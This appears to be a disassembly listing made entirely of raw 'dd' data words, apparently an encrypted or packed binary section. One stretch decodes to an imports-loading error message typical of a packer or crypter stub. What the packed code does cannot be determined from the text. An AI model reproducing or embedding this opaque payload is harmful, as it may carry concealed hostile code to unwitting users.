dd 98CC5B2Ah, 255D6235h, 0B46DF6Bh, 2FBA770Eh, 0C1EB793h
dd 0F762770Eh, 0F1AB1579h, 0E0BC059h, 0D3A93C77h, 0E3470150h
dd 770EF06Ah, 0C0A503D6h, 189D702Dh, 9F76DB8Dh, 0FBED12E6h
dd 3C4D03EEh, 0CAAD575h, 900D672h, 0D3BE7512h, 452BBE3Fh
dd 0B29AD1BCh, 0D7C8F2C2h, 29415F2Ah, 0F1F69E6Fh, 5676F297h
dd 0C54BEA70h, 0C25BEFA9h, 3ECD49B9h, 525724ABh, 6068FFD6h
dd 0B2463C47h, 0A30E5B0Dh, 6E8F6607h, 4B1AD492h, 1D4800A9h
dd 0A75687A7h, 1FCACB47h, 0CAEB8263h, 0A4751886h, 29CCA11Fh
dd 0CE1DED84h, 2EBE491Ch, 90E33h, 63841700h, 0F6FB986Dh
dd 40690F92h, 0D0D5B90Ch, 0A34829BCh, 0C298472Dh, 7DC0842Dh
dd 0E174189Dh, 17FAEE13h, 48697F80h, 1A61FA4Eh, 2DDF7105h
dd 0A2432A4Eh, 0FC996C2Ah, 74F095F7h, 8422C0CBh, 9F3810CAh
dd 7A770EF0h, 0EF035AEh, 0C5DC8B77h, 4CB29A16h, 2A7511FAh
dd 906203BFh, 0E18C4F6Bh, 816F42B0h, 0CB5E328Eh, 4EC88029h
dd 0DA255F8Dh, 0FE5A742h, 0B90A63Fh, 0A0761371h, 0EBA5710Bh
dd 0B80C65Fh, 54CD5D71h, 0A8710B80h, 0F977E23Dh, 0DA5434Eh
dd 0BE828053h, 2E998DE3h, 5CBC7A52h, 0EF7A6F0Eh, 983119D3h
dd 0E4770E5Eh, 0E93FB71h, 0DE078C67h, 7AE9D760h, 687D6F94h
dd 79F7FC9Dh, 0CF16A410h, 67B34160h, 4820E6DFh, 83E95h
dd 53542700h, 26CBA83Dh, 0B039DFA2h, 0A549DCh, 9318F94Ch
dd 92C877FDh, 0D90F4FDh, 0B104486Dh, 278ADEE3h, 9839AF50h
dd 19910A1Eh, 5DEF7105h, 8C6C019Eh, 8864616Bh, 1856543Fh
dd 11EF7230h, 0FEDC075h, 0E04D1FEAh, 17FAEE13h, 8B457D86h
dd 0BEF26BFh, 71CF9A71h, 48266E19h, 0CEB9D628h, 0D492796Eh
dd 6A74B1Ah, 1CD182AAh, 984F710Bh, 65A98BF0h, 63FC4C06h
dd 0D9710B1Ch, 34BD5F32h, 0D6BB3154h, 28BC45h, 710B1C83h
dd 0E1991F67h, 0A4EC7427h, 753DEA05h, 1B4E1EA3h, 0BD56F28Ch
dd 3710AF2h, 2BF0D854h, 89710AF2h, 1BEAA4C2h, 0C35C4C75h
dd 75710AF2h, 194C1CA1h, 20C9AB06h, 0DA563DA8h, 0A95223B6h
dd 1A9F7C11h, 3126CE9Eh, 45710AF3h, 92633B6Fh, 0D9BC5169h
dd 0A13458D4h, 0D9932FD4h, 0AF2D871h, 3BB12471h, 0F33E8B53h
dd 0A276710Ah, 15E64B1Dh, 9116F9ECh, 9FC37FF7h, 22764E3Fh
dd 62668B68h, 0C1713D45h, 37DE20E8h, 58F08E15h, 710BE4BAh
dd 4215AD38h, 0BE2932B8h, 0DBB30992h, 0DDE6885Dh, 88A0DE8Bh
dd 710B840Fh, 2A02FE6Dh, 1D6C67C4h, 0FEFA2E12h, 270B44E6h
dd 191E1h, 5E011200h, 1A0AB5A9h, 68D7ADB2h, 47E39F1Dh
dd 7511BE65h, 93720CDBh, 95FBFCh, 9600486Dh, 937A23F7h
dd 1298712h, 0EE4A22A6h, 731246FAh, 3F9FE92h, 4866876Eh
dd 2821BA8Eh, 29FF5C9h, 2856F8DDh, 8E47383h, 0F9FE9164h
dd 8B0D8EFh, 981DF144h, 658A6DF0h, 2FB9267h, 0EAE2496Eh
dd 44267742h, 17D189A7h, 3F259A33h, 0F573E683h, 32C59DC1h
dd 0A34ADF8Dh, 0FDEF14FAh, 0AB651DE8h, 3F26069Fh, 11EF7A83h
dd 21CBF79h, 0F09D6375h, 1428B314h, 94630258h, 0C1E7AF18h
dd 0C25BEFA9h, 3E833EF3h, 0D993CDABh, 0E75D6634h, 3EF34EC7h
dd 0A127B283h, 0D6B63BDCh, 0B3CFE991h, 3EF3F297h, 0D2762983h
dd 733B3FD5h, 0AE3D1490h, 3FC0573Ah, 0E861C983h, 54833FC6h
dd 0FE432B81h, 0F3F89019h, 44FE6DB1h, 3FC66BE4h, 0AE0AD183h
dd 0DDB334DBh, 881A963h, 38833FC7h, 0EA715055h, 0E0E811E7h
dd 937A0FE5h, 2BC7A12h, 3FC6AD26h, 0E8441383h, 0F9B1375Fh
dd 3FC6B051h, 0B590C83h, 41D6CFA6h, 0B2725172h, 0E14C26EDh
dd 0DEF721Ah, 0CEF6E4E4h, 721AEB9Ah, 0F24E1B4Dh, 91F7F89Fh
dd 44DD6D27h, 0B8833F14h, 5B32572Dh, 1428A189h, 0C194833Fh
dd 2D55127Ah, 6235EF8Bh, 0C4809663h, 0ECCAEF34h, 0F744D509h
dd 8C3911EFh, 8833F0Ah, 0AD40255Dh, 75D8AC08h, 0CC4A02A7h
dd 16BFAF0Bh, 279D9FFAh, 0AEC8F098h, 3F84F19Ah, 97650883h
dd 28BF9612h, 432A3FA4h, 0F6812EA2h, 0FC6ABEF8h, 3A75120Dh
dd 0A17213AFh, 0E0E80DE0h, 1B4E1EE5h, 4429E39Dh, 8227F4B1h
dd 0B4309FCAh, 2ABE43D1h, 720AAB6Ch, 0D3F8986Bh, 0A1623055h
dd 2BBE2ED3h, 107B0C5Ch, 6CAE4D58h, 6D54658Eh, 1EA3741Ah
dd 218C1B4Eh, 0F85BA189h, 32D96F0Eh, 0E4B4A374h, 0B3D718FDh
dd 108D5535h, 0FA770EB1h, 0B459118Fh, 2866C2E7h, 0F6F79F6Eh
dd 0AF94527Ah, 0A0457511h, 70512FD0h, 6235E3E5h, 9BC7377h
dd 4F2DA096h, 0D4BBCEAAh, 0E3F290D3h, 0EF7FE0DCh, 4CE72h
dd 23C45700h, 0B63BD8ADh, 0A94FD2h, 9015F94Ch, 638869FCh
dd 258876Dh, 0BD00446Dh, 21B4D8DDh, 573AAE53h, 8A93FC0h
dd 1621BA8Eh, 0ED9F7105h, 6785F00Eh, 0FAD1FF4Bh, 45287511h
dd 9EB70DB2h, 0DB7981CBh, 29710BD2h, 0ABB1A7EBh, 0A4936A2Fh
dd 0DFh, 8E6C01D7h, 6EF5FA9Dh, 0EFEDBA92h, 10E7770Eh, 1DE8FDEFh
dd 9B1CF356h, 8BC3CDFh, 3DA7BAA5h, 0FA842347h, 487102h
dd 841D2D45h, 0F8770E57h, 37E8866Dh, 6F1BC08Ah, 0C6621CC7h
dd 770EB44Dh, 0E4824B3h, 0EB4993Ah, 0D68A1777h, 4D4B5BB8h
dd 0EE7315E0h, 17C8E607h, 5231C0D0h, 6B7FF561h, 0B738D8ADh
dd 8B34B0D5h, 0DC7E301h, 77119A78h, 15B69612h, 0C770E15h
dd 145DF652h, 0CCA3770Eh, 81C48429h, 0F067BE3Ah, 0A5623598h
dd 0A74828D5h, 0B3D5A025h, 6A054BD6h, 42E68020h, 770E14A5h
dd 5B2A4413h, 0D5B533B4h, 923EB063h, 84B06F5Fh, 65830028h
dd 595B770Eh, 0DFB75635h, 0ABD562DEh, 6FBB750Dh, 770EE5F6h
dd 67219F4Ah, 0EE526C3h, 8310F577h, 34A3827Eh, 0B1BD50h
dd 1C00000h, 916A2B5Eh, 0E5F20B9h, 0A8C99C77h, 0AD0B8FA0h
dd 41797702h, 11824BE9h, 6A62E975h, 9EF2F387h, 4BDFAAD1h
dd 710B84D2h, 0C1E6BB2Eh, 9A6E2250h, 0A14462C9h, 29BC2CD1h
dd 0B85B1553h, 0E34EAADDh, 9EAE0A33h, 710B04F9h, 15C6E077h
dd 75B2FC57h, 8E9AD4C4h, 710B3215h, 6800FC6Bh, 0D29AD0C0h
dd 0DE023EA5h, 710DC2DAh, 41BD9Fh, 0F03E0000h, 0E3476389h
dd 770EF06Ah, 0E44903D6h, 0B2FD9314h, 0B5952DCBh, 770EF148h
dd 7127A134h, 0F0FA93B7h, 9346770Eh, 0B0983515h, 764E770Eh
dd 0D0A24322h, 9BE24D2Bh, 78C5651Dh, 0E4770EB0h, 2A601371h
dd 472AA243h, 2E590FB0h, 1D2D4563h, 75120047h, 0EC65C5C5h
dd 50710BE0h, 86AE3E85h, 710BE109h, 0E3F51907h, 936A3DD9h
dd 4396h, 85F02100h, 0D8BA4B67h, 0F1B55D3h, 7511FF7Dh
dd 0B26464F3h, 0AD4D3ED3h, 0E7C7BD08h, 710BDF6Ah, 8D6D00A6h
dd 0CEADA5A2h, 1FEAF043h, 6F499DA1h, 9369C755h, 0F212h
dd 9AAE6800h, 710B6A01h, 970CE87Fh, 2AA2432Ah, 7109B247h
dd 0F0FA93B7h, 4046770Eh, 0EF06FE8h, 0B31ECD77h, 25C85535h
dd 9265C880h, 7A82556Dh, 0D021F71Bh, 0B25A2E8Ah, 770E4AB5h
dd 394D28CFh, 3B32B866h, 40FE9279h, 52F6CAADh, 770EEEB9h
dd 6FC55007h, 0E68A731Ah, 0A4127AC1h, 318F34C1h, 0C5FDFB86h
dd 120C5765h, 0AEEC575h, 1BE6E3E5h, 0E108CB75h, 0F7D4427Fh
dd 632E9917h, 0B9732D45h, 0B80F891h, 1B914471h, 9311E33h
dd 334F1A6Fh, 5034BD52h, 0EC872CCDh, 0E6D94A04h, 0E4DC31D9h
dd 4D000001h, 0F65B09AEh, 65C89C25h, 977A6E93h, 7EAFEFFh
dd 0A91B4972h, 5257386Eh, 26C7AB3Eh, 0B43DDFA2h, 5AA4DD0h
dd 0D0783E47h, 71051337h, 2A70F385h, 4528BC45h, 823DDEB2h
dd 0C446EF73h, 0B9A23B6Dh, 4B1E770Eh, 4C23C2FCh, 535424ABh
dd 1C2B1D5h, 8A668B6Ch, 1A54523Dh, 11FF7C0Eh, 6567F275h
dd 0BDF40DDh, 981DF071h, 6B906DF0h, 5084B861h, 3D61DFE6h
dd 6A41213Bh, 0DCDE93h, 2A590000h, 472AA243h, 0B75F09B2h
dd 770EF5BAh, 0CE8223CAh, 6EB947Bh, 317616FDh, 2EF06246h
dd 33446D03h, 21A49707h, 0A4C2A94Eh, 7BF92AF3h, 0A71D87AEh
dd 963341E9h, 0C2A17511h, 33C58831h, 3C8BDE8Eh, 8E741FA8h
dd 0C085C7ECh, 0B222D3BFh, 590A549h, 0FE97B36Dh, 42710B92h
dd 0CB5F1997h, 6F092DB5h, 7B0AA433h, 0C17F6D96h, 25A7482Ch
dd 0A54A2DA0h, 0A7CAA623h, 6C44D1D2h, 7FD43DCh, 47D2B977h
dd 7919B9F8h, 0D2BAE6D9h, 0D63Fh, 3BBC5F00h, 8E33C055h
dd 18A177DAh, 0E80DE174h, 7B8011E4h, 0A609F15h, 0A5085C65h
dd 29BCD0D5h, 5F22A64Bh, 5137B8h, 1229A286h, 0E5977105h
dd 0BC452A06h, 67E04802h, 0D5770EF0h, 73C6AA06h, 0CB751B9Ch
dd 3953583Ah, 525739ACh, 47015DD6h, 0EF06AE3h, 4C03D677h
dd 0DAAF05AEh, 77DAB233h, 0B0631FA0h, 0C1A5BFC4h, 0FA8E6A04h
dd 8A24C2CDh, 993216D0h, 0E7770DFAh, 4BD4F470h, 96750748h
dd 0CCD34CDCh, 95657105h, 326D7810h, 7DE8C9A7h, 36EF866Bh
dd 5B0E5E5Fh, 623598CCh, 4DE30B5Dh, 0A347EA41h, 6E01598Dh
dd 0DFB61B49h, 2ACDA0DEh, 9D7EC385h, 59F18914h, 17F941C0h
dd 0BBD3A93Ch, 2FB93ED6h, 24488A4h, 0B3064A6Bh, 5CB1DBDCh
dd 3, 2A8003E7h, 5B26A647h, 0F45933B4h, 66CB9D26h, 967B6D92h
dd 0D90F801h, 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h
dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68241489h, 0DCAh
dd 50241C89h, 405E089h, 83000000h, 48704E8h, 34895C24h
dd 0D2C36824h, 1C8B0609h, 4C48324h, 6D0368h, 24248900h
dd 4240483h, 8B8505Eh, 1000000h, 0B951F0h, 1000000h, 591989C1h
dd 2434FF58h, 4C4815Eh, 0FF000000h, 815B2434h, 4C4h, 9D83E900h
dd 0C616FFF9h, 5534F5ECh, 0DF70B82Fh, 0C5030609h, 318FE0FFh
dd 0EC6A5A70h, 0E9DE4C16h, 45562CE1h, 344F7053h, 7CBA45D8h
dd 183F66A6h, 0C2541E3Fh, 0EE5B2B83h, 177D1A21h, 5BCB6721h
dd 89335EA2h, 0C83A1AC3h, 4AED7DDDh, 5FBF56A2h, 697F13E5h
dd 0AEF8219Ah, 6A4B6215h, 251F5582h, 0FDCB0ED4h, 2F957453h
dd 0FC2469D1h, 0AA8F4AA2h, 0B7312DB2h, 27E955A9h, 50000001h
dd 0AC73765Bh, 154EEFh, 41000000h, 7245206Eh, 20726F72h
dd 20736168h, 7275636Fh, 20646572h, 6C696877h, 6F6C2065h
dd 6E696461h, 6D692067h, 74726F70h, 0AC370073h, 5CEB77E7h
dd 3C4977E7h, 0E21F77E7h, 0E30077F7h, 77F7h, 777E6h, 5 dup(0)
dd 0A5FD0000h, 77E7h, 2Bh dup(0)
dd 20000h, 0E1480000h, 1DF4C706h, 0A6CF6392h, 761B8F96h
dd 13113416h, 7B35B11Ch, 66423104h, 35722B61h, 77A9F29Eh
dd 0EF883211h, 65534790h, 0F7BFBF13h, 991737A5h, 0E5D069C6h
dd 65552FA8h, 71563213h, 77A96145h, 0EF883211h, 65534790h
dd 0E6BFBF13h, 991737B8h, 0EDD069C6h, 0C0F9B1D5h, 66243BF5h
dd 6601B61Ah, 0E3053215h, 604D9E99h, 0E3AFE2EAh, 60189EA9h
dd 0E34EE2EAh, 60471D2Ch, 0DE705A43h, 0D3EEAEBDh, 608B1ADCh
dd 15F8B798h, 0B6DD3413h, 6904B79Ch, 0E3053416h, 604DD363h
dd 31A7BF45h, 36173BF5h, 6519A7EAh, 0E3833416h, 60213074h
dd 66113215h, 49B1B7D3h, 0E013416h, 0E8505B7Ch, 754887EAh
dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 601231D4h, 49B1B7D3h
dd 0E073416h, 0FA45594Bh, 754887EAh, 0E3053416h, 60470AB2h
dd 0E3ABE2EAh, 6018D29Bh, 49B1B7D3h, 0E103416h, 88405A3Ch
dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D287h
dd 49B1B7D3h, 0E013416h, 0BC420AD7h, 754887EAh, 0E3053416h
dd 60470AB2h, 0E3ABE2EAh, 6018D283h, 78198F96h, 69443416h
dd 66227790h, 5F94F415h, 238E313Ah, 463AB47Dh, 3F97CDEFh
dd 0EB173106h, 65B09590h, 0EF94CD13h, 6FC2A890h, 5F94F413h
dd 2A8E313Ah, 4094F17Dh, 3F97CDF5h, 0EB173106h, 65B09590h
dd 0EF94CD13h, 6FC2AC90h, 6651DB13h, 0E34E3215h, 60471D2Ch
dd 822F5A47h, 0D3EE8E5Fh, 608B1150h, 5EE3B798h, 0B6DD3416h
dd 868BB79Ch, 0E34E341Ch, 60471D2Ch, 2C6A5A47h, 0D3EE9459h
dd 608B1150h, 5EE3B798h, 0B6DD3416h, 868FB79Ch, 0E34E341Ch
dd 60471D2Ch, 0D2C85A47h, 0D3EECF57h, 608B214Ch, 5EE3B798h
dd 0B6DD3416h, 4008B79Ch, 0E34E3416h, 60471D2Ch, 0CE815A62h
dd 0D3EEC182h, 608B1F04h, 5EE3B798h, 0B6DD3416h, 7440B79Ch
dd 0E34E3416h, 60471D2Ch, 57355A47h, 0D3EEB8C8h, 608B214Ch
dd 5EE3B798h, 0B6DD3416h, 7ACCB79Ch, 0E34E3416h, 60471D2Ch
dd 0B1B5A43h, 0D3EEE60Ah, 608B1ADCh, 15F8B798h, 0B6DD3413h
dd 4808B79Ch, 0E34E3416h, 60471D2Ch, 76585A52h, 0D3EEB3C9h
dd 608B214Ch, 5EE3B798h, 0B6DD3416h, 4EBCB79Ch, 0E34E3416h
dd 60471D2Ch, 0D3C05A52h, 0D3EEB81Ah, 608B214Ch, 5EE3B798h
dd 0B6DD3416h, 86AFB79Ch, 0DB0B341Ch, 604729A4h, 37A63D15h
dd 0A0113213h, 65A70B90h, 8F2C7E13h, 99FBE809h, 65026BA0h
dd 0C10DBF13h, 9942312Dh, 0CCA7BBC5h, 0A0173BF5h, 65A70B90h
dd 0A82C7E13h, 99FF46CBh, 65026BA0h, 0C10DBF13h, 9942312Dh
dd 0C8A7BBC5h, 0A0173BF5h, 65A70B90h, 592C7E13h, 9995B397h
dd 65026BA0h, 0C10DBF13h, 9942312Dh, 0D4A7BBC5h, 0A0173BF5h
dd 65A70B90h, 7E2C7E13h, 99911D55h, 65026BA0h, 0C10DBF13h
dd 9942312Dh, 0D4A7BBC5h, 0A0173BF5h, 65A70B90h, 722C7413h
dd 9998EC13h, 65026BA0h, 0C10DBF13h, 9942312Dh, 0DCA7BBC5h
dd 0A0173BF5h, 65A70B90h, 1C2C7513h, 99A3EE05h, 65026BA0h
dd 0C10DBF13h, 9942312Dh, 0A4A7BBC5h, 0A0173BF5h, 65A70B90h
dd 0CA2C7513h, 99CDB59Bh, 65026BA0h, 0C10DBF13h, 9942312Dh
dd 0A0A7BBC5h, 0A0173BF5h, 65A70B90h, 0B42C7513h, 99F6A8B2h
dd 65026BA0h, 0C10DBF13h, 9942312Dh, 0ACA7BBC5h, 0A0173BF5h
dd 65A70B90h, 622C7513h, 9998F32Ch, 65026BA0h, 0C10DBF13h
dd 9942312Dh, 0A8A7BBC5h, 0E5173BF5h, 6582B7A8h, 46313213h
dd 491BB7D3h, 0E563416h, 86FA1F72h, 751D87EAh, 0E3AF3416h
dd 60120AB2h, 0E301E2EAh, 604DD2C7h, 491BB7D3h, 0E563416h
dd 0E8A181A4h, 751D87EAh, 0E3AF3416h, 60120AB2h, 0E301E2EAh
dd 604DD2C3h, 491BB7D3h, 0E523416h, 0A6FE78B2h, 751D87EAh
dd 0E3AF3416h, 60120AB2h, 0E301E2EAh, 604DD2CFh, 491BB7D3h
dd 0E5D3416h, 9DEE5EFEh, 4B5587EAh, 0E3AF3416h, 60120AB2h
dd 0E301E2EAh, 604DD37Bh, 491BB7D3h, 0E553416h, 0DDFBBC40h
dd 751D87EAh, 0E3AF3416h, 60120AB2h, 0E301E2EAh, 604DD2CBh
dd 491BB7D3h, 0E523416h, 0DA065CE9h, 751D87EAh, 0E3AF3416h
dd 60120AB2h, 0E301E2EAh, 604DD2F7h, 491BB7D3h, 0E423416h
dd 0A0980CBFh, 751D87EAh, 0E3AF3416h, 60120AB2h, 0E301E2EAh
dd 604DD2F3h, 6F338F96h, 69113416h, 6688D291h, 5FC1F415h
dd 2024313Ah, 0F0DF037Dh, 3F3DCDEFh, 0EB423106h, 651A9590h
dd 0EFC1CD13h, 6F697090h, 5FC1F413h, 2024313Ah, 0C12BE47Dh
dd 3F3DCDE9h, 0EB423106h, 651A9590h, 0EFC1CD13h, 6F696090h
dd 5FC1F413h, 2024313Ah, 9AB5327Dh, 3F3DCD87h, 0EB423106h
dd 651A9590h, 0EFC1CD13h, 6F696490h, 5FC1F413h, 2024313Ah
dd 0B25E587Dh, 3F3DCDE3h, 0EB423106h, 651A9590h, 0EFC1CD13h
dd 6F696890h, 5FC1F413h, 2024313Ah, 0AB41D57Dh, 3F3DCD81h
dd 0EB423106h, 651A9590h, 0EFC1CD13h, 6F697490h, 5FC1F413h
dd 2024313Ah, 4465097Dh, 3F3DCDA4h, 0EB423106h, 651A9590h
dd 0EFC1CD13h, 6F697890h, 5FC1F413h, 2024313Ah, 1FFBDF7Dh
dd 3F3DCDCAh, 0EB423106h, 651A9590h, 0EFC1CD13h, 6F697C90h
dd 0E3F9B113h, 6624311Fh, 0E3D71260h, 608B1D2Ch, 861A5A46h
dd 0D3DDFCABh, 6012214Ch, 5E2FB798h, 0B6BB3416h, 86C8B79Ch
dd 0E3D7341Ch, 608B1D2Ch, 38C35A52h, 0D3DDF5A4h, 6012214Ch
dd 5E2FB798h, 0B6BB3416h, 86CCB79Ch, 0DB92341Ch, 608B3890h
dd 0A0644715h, 650D0B90h, 63797513h, 996E506Bh, 65576BA0h
dd 0C1A7BF13h, 9917312Dh, 940DBBC5h, 0A0423BF5h, 650D0B90h
dd 90797113h, 991A481Ch, 65576BA0h, 0C1A7BF13h, 9917312Dh
dd 900DBBC5h, 0A0423BF5h, 650D0B90h, 46797113h, 99741382h
dd 65576BA0h, 0C1A7BF13h, 9917312Dh, 9C0DBBC5h, 0E5423BF5h
dd 6528B7A8h, 26643213h, 49B1B7D3h, 0E073416h, 0ED229A16h
dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D317h
dd 49B1B7D3h, 0E073416h, 837904C0h, 754887EAh, 0E3053416h
dd 60470AB2h, 0E3ABE2EAh, 6018D2EBh, 49B1B7D3h, 0E073416h
dd 8C8800F4h, 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh
dd 6018D313h, 49B1B7D3h, 0E073416h, 0E2D39E22h, 754887EAh
dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D31Fh, 49B1B7D3h
dd 0E0B3416h, 0F117A2C1h, 754887EAh, 0E3053416h, 60470AB2h
dd 0E3ABE2EAh, 6018D31Bh, 49B1B7D3h, 0E0B3416h, 9F4C3C17h
dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D307h
dd 49B1B7D3h, 0E093416h, 0AE154B5Ch, 754887EAh, 0E3053416h
dd 60470AB2h, 0E3ABE2EAh, 6018D30Fh, 49B1B7D3h, 0E093416h
dd 0BAD57F9Ch, 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh
dd 6018D303h, 49B1B7D3h, 0E113416h, 0FA391F22h, 754887EAh
dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D30Bh, 49B1B7D3h
dd 0E073416h, 0B4F7C23Fh, 754887EAh, 0E3053416h, 60470AB2h
dd 0E3ABE2EAh, 6018D337h, 49B1B7D3h, 0E163416h, 9B6086FFh
dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6012140Ch
dd 49B1B7D3h, 0E033416h, 84BA6B8Ch, 754887EAh, 0E3053416h
dd 60470AB2h, 0E3ABE2EAh, 6018D333h, 49B1B7D3h, 0E033416h
dd 0D7DF52D7h, 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh
dd 6018D33Fh, 49B1B7D3h, 0E033416h, 0B984CC01h, 754887EAh
dd 0E3053416h, 60470AB2h
dd 0E3ABE2EAh, 6018D33Bh, 49B1B7D3h, 0E1B3416h, 0F872C07Dh
dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D327h
dd 49B1B7D3h, 0E0B3416h, 0A1DE492Ah, 754887EAh, 0E3053416h
dd 60470AB2h, 0E3ABE2EAh, 6018D34Bh, 49B1B7D3h, 0E033416h
dd 9C795C59h, 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh
dd 6018D377h, 49B1B7D3h, 0E033416h, 0A52416D8h, 754887EAh
dd 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D373h, 49B1B7D3h
dd 0E1B3416h, 0B29952D9h, 754887EAh, 0E3053416h, 60470AB2h
dd 0E3ABE2EAh, 6018D323h, 49B1B7D3h, 0E1B3416h, 0F8CB665Bh
dd 754887EAh, 0E3053416h, 60470AB2h, 0E3ABE2EAh, 6018D32Fh
dd 49B1B7D3h, 0E1B3416h, 0B7311A5Dh, 754887EAh, 0E3053416h
dd 60470AB2h, 0E3ABE2EAh, 6018D32Bh, 66E0367Fh, 0E443205h
dd 66222215h, 0F3EE327Fh, 608B3D00h, 4905B79Ch, 0E3AF3416h
dd 6018E2A2h, 62E2E2EAh, 6654327Dh, 46225A15h, 667B3215h
dd 699DA7EAh, 0E3CD3416h, 60211060h, 74ACB79Ch, 26E23416h
dd 6654327Dh, 66225A15h, 667B3214h, 699DA7EAh, 0E3CD3416h
dd 60212DE4h, 757C879Eh, 0FB033416h, 60471AE8h, 474B879Ch
dd 0FB983416h, 608B3918h, 4EB9AF9Eh, 6DA93416h, 6911CB96h
dd 6682ED91h, 6156215h, 0E3ABF226h, 601220B8h, 66880EABh
dd 42303115h, 658F5435h, 0ED311651h, 128B4A65h, 18CF1231h
dd 0E79FBB0Dh, 0E3173135h, 6C0D3DEAh, 8E443215h, 6622231Bh
dd 6611A3FCh, 0B1036315h, 0EF40E07Eh, 6538C780h, 0E155813h
dd 66882215h, 99445847h, 652D2780h, 3B94BB13h, 0ED8E310Fh
dd 0B9AC6BC5h, 30223205h, 425531B8h, 0B903A531h, 0C8840042h
dd 99DBB71Ah, 4D4FCDEAh, 0B10360EEh, 49058F9Eh, 0AFA13416h
dd 0ECD101EAh, 20490013h, 0A7C3369Eh, 0AE113AFCh, 8C943D5Fh
dd 0ED77CDEAh, 3C94C5D4h, 0A4A1309Ch, 0E3EE6011h, 608B20B8h
dd 74E9A79Eh, 0F31B3416h, 60121294h, 6682B61Ah, 381E3215h
dd 8F26F496h, 99EECD8Eh, 3FE96C4Fh, 0FFC1F54Dh, 66243111h
dd 0A1113215h, 65AC1F90h, 66443213h, 0C09FB115h, 66173BF5h
dd 6680B61Ah, 0FBC93215h, 602B7A5Ch, 0E3EEE1EAh, 608B03A4h
dd 57F58F96h, 69463416h, 66115097h, 0D70DF515h, 67423124h
dd 6223215h, 876F8798h, 0DB05341Ch, 604DCFFCh, 0B1A9CC3Eh
dd 49508F9Eh, 0AF0B3416h, 0EC8401EAh, 20E30013h, 0A796369Eh
dd 0AEBB3AFCh, 8CC13D5Fh, 0EDDDCDEAh, 5FC1C5D4h, 65966790h
dd 71C03D13h, 0E5223215h, 653DEFA8h, 0E3873213h, 6644321Fh
dd 6443B7D2h, 66103416h, 0DFE93215h, 63494692h, 79403EAFh
dd 0D3989F60h, 608B137Ch, 66B874D2h, 5B223215h, 88FFDCFBh
dd 66A8B71Ah, 58C53215h, 0BBFFEFC8h, 6605B71Ah, 604F3215h
dd 66443215h, 0EF26F496h, 65305BA0h, 6E71DB13h, 0BECF3215h
dd 6443B726h, 0AED03416h, 0A74A1916h, 0A77722D5h, 6443AF9Ch
dd 662C3416h, 69883315h, 66447796h, 0DD1CB315h, 69AA89AEh
dd 66880B90h, 6642F515h, 0E5223215h, 0D39836D3h, 608B137Ch
dd 4EB9AF9Eh, 6DA93416h, 0ED71E29Eh, 0F70D19D7h, 0A7423113h
dd 0E32130F5h, 60121E38h, 0A78B9F83h, 7A60769Ch, 665EDB74h
dd 34403215h, 0F303FB26h, 60472848h, 0E22D302Eh, 6611322Dh
dd 278CF096h, 46C5BF2Eh, 0E32D3416h, 99EECDFDh, 86EB8798h
dd 0DBC9341Ch, 60213F10h, 69D1B6B9h, 66883491h, 97AD9815h
dd 0DEDDCDEAh, 66113215h, 2B94BF98h, 87BB3416h, 748FBF9Ch
dd 3F4B3416h, 9B15B943h, 0ED42313Dh, 0CBA7B91Eh, 0B7173107h
dd 0C70D31F5h, 55423136h, 0CB44A4E3h, 6513D2D4h, 65A41F90h
dd 65E9A413h, 0DBA16CD4h, 60121B20h, 5F0C3D14h, 5D443215h
dd 65316B98h, 4B953D13h, 5D883215h, 65692398h, 47A63D13h
dd 5D113215h, 65894798h, 73C03D13h, 0EB223215h, 6FE4F388h
dd 0ED5BCD13h, 0EFC1BBEDh, 8F243124h, 661134A1h, 9349AF98h
dd 0B5BB341Ch, 4F178F96h, 69113416h, 66882F91h, 2FC10915h
dd 69243104h, 66113E91h, 0EF0D0915h, 69423106h, 66223790h
dd 99A8DB15h, 0E3B3CDEAh, 604731D4h, 663AB71Ah, 0DB923215h
dd 608B2C84h, 6DC13D15h, 0EB223215h, 6FAD1E90h, 991DDB13h
dd 0E37FCDEAh, 602131D4h, 9998B61Ah, 0DB0BCDEAh, 604DD24Ah
dd 71A73D14h, 5D113215h, 6F688C90h, 6DC13D13h, 0EB223215h
dd 3EF79290h, 99E5DB15h, 9977CDEAh, 7D938F96h, 69113416h
dd 668B5591h, 0CCC10915h, 13243BF5h, 1B94B912h, 218E3124h
dd 86F6B72Eh, 6157341Ch, 7C8CB79Eh, 5DCF3416h, 6FA49C90h
dd 0ED254713h, 6537AB90h, 0E3B37513h, 604DD2A3h, 0E3A93560h
dd 60121214h, 0DC0D0952h, 13423BF5h, 27A7B912h, 21173102h
dd 8636B72Eh, 6131341Ch, 6A6BB79Eh, 5D563416h, 6F68F090h
dd 0ED434713h, 650E0B90h, 0E32A7513h, 6081D2D3h, 0E3CF3560h
dd 60211868h, 0AC940952h, 138E3BF5h, 0D3C1B912h, 21243136h
dd 86DFB72Eh, 61FD341Ch, 5431B79Eh, 5D653416h, 6FF1E490h
dd 0ED8F4713h, 6554D390h, 0E3197513h, 6018D2C7h, 0DB0B2260h
dd 60473890h, 0ED254715h, 6530AF90h, 0DB0B7513h, 60473DE4h
dd 5D2D4615h, 6FF06C90h, 0ED8F4713h, 6553AF90h, 0DBA17513h
dd 60123B04h, 0E5FA4615h, 656A0FA8h, 0F563213h, 8753B72Eh
dd 61FD341Ch, 5615B79Eh, 5D653416h, 6FF06090h, 0ED8F4713h
dd 655EBF90h, 0E3197513h, 6018D353h, 0E3033560h, 60473AA4h
dd 30A70952h, 13173BF4h, 0D30DB912h, 21423133h, 8778B72Eh
dd 6164341Ch, 6C11B79Eh, 5D033416h, 6FC37890h, 0ED164713h
dd 65A42F90h, 0E37F7513h, 602BD35Bh, 0E39A3560h, 608B19ECh
